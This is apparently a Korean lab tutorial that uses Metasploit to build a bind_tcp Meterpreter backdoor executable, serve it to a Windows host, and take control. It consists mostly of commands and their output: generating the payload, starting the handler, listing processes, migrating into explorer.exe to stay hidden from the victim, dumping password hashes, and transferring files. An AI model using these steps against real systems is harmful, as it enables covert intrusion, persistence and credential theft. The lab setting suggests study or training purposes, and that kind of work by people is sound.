Metasploit - windows/meterpreter/bind_tcp
=========================
Kali
========================
root@kali:~# systemctl start apache2
root@kali:~# msfconsole
msf > use payload/windows/meterpreter/bind_tcp
msf payload(bind_tcp) > show options
Module options (payload/windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST no The target address
msf payload(bind_tcp) > set LPORT 8888
LPORT => 8888
msf payload(bind_tcp) > generate -t exe -f /var/www/html/bind_meter.exe (backdoor program 생성)
[*] Writing 73802 bytes to /var/www/html/bind_meter.exe...
========================
Windwos 7
========================
- 다운로드 후 실행
cmd> netstat -an | findstr 8888
=========================
Kali
========================
msf payload(bind_tcp) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(handler) > set LPORT 8888
LPORT => 8888
msf exploit(handler) > set RHOST 10.10.1.30 (XP IP)
RHOST => 10.10.1.30
msf exploit(handler) > exploit
[*] Starting the payload handler...
[*] Started bind handler
[*] Sending stage (957487 bytes) to 10.10.1.30
[*] Meterpreter session 1 opened (10.10.1.10:43584 -> 10.10.1.30:8888) at 2016-05-31 19:44:57 +0900
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x86 0
576 4 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
640 576 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
664 576 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
716 664 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
728 664 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
852 716 alg.exe x86 0 C:\WINDOWS\System32\alg.exe
884 716 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmacthlp.exe
900 716 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
1012 716 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1064 1504 IEXPLORE.EXE x86 0 JIN-9D36A77717F\Administrator C:\Program Files\Internet Explorer\iexplore.exe
1128 716 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1248 716 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1356 1064 bind_meter[1].exe x86 0 JIN-9D36A77717F\Administrator C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\GD8EE8IZ\bind_meter[1].exe
1396 716 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1504 1544 cmd.exe x86 0 JIN-9D36A77717F\Administrator C:\WINDOWS\system32\cmd.exe
1512 1128 wscntfy.exe x86 0 JIN-9D36A77717F\Administrator C:\WINDOWS\system32\wscntfy.exe
1544 1520 explorer.exe x86 0 JIN-9D36A77717F\Administrator C:\WINDOWS\Explorer.EXE
1628 716 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1720 1544 ctfmon.exe x86 0 JIN-9D36A77717F\Administrator C:\WINDOWS\system32\ctfmon.exe
1860 1504 conime.exe x86 0 JIN-9D36A77717F\Administrator C:\WINDOWS\system32\conime.exe
1916 716 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
- 실행하면 위와 같은 프롬프트가 발생하고 접속하게 된다.
meterpreter > help 명령으로 사용가능한 명령을 확인하고 사용할 수 있다.
meterpreter > ps
- bind_meter.exe 프로세스가 XP에서 구동중임을 확인 가능하다.
- victim이 프로세스 목록을 보고 의심을 가질수 있다.
- 그래서 영구적인 프로세스 (explorer.exe 등)로 쉘코드를 이동시키면 숨길수 있고 종료될일 없다.
- 이동한 프로세스가 종료되기전까지 쉘코드는 계속 살아있게된다.
meterpreter > migrate [이동할 프로세스id]
meterpreter > hashdump
- PwDump 사용한것과 동일하다
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:f248354391baf80627a32d8d81053304:968b4599db09cbb47145806967ba654d::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:1e56b200e346d6b02dc9f1d071407c6a::: VUSR_JIN-9D36A77717F:1003:6ac03ed347c039e8c52800ff72e83583:37ac0ad251a5576162b13aa18f766429::: |
|
meterpreter > background
- 세션은 유지한상태로 msfconsole 로 돌아온다
meterpreter > sessions -l
- 세션 리스트 확인
msf exploit(handler) > sessions -l
Active sessions ===============
Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 JIN-9D36A77717F\Administrator @ JIN-9D36A77717F 10.10.1.10:43584 -> 10.10.1.30:8888 (10.10.1.30) |
|
meterpreter > sessions -i n
- 다시 접속 가능
# download c:/windows/system32/cmd.exe /tmp
# upload /tmp/cmd.exe c:/test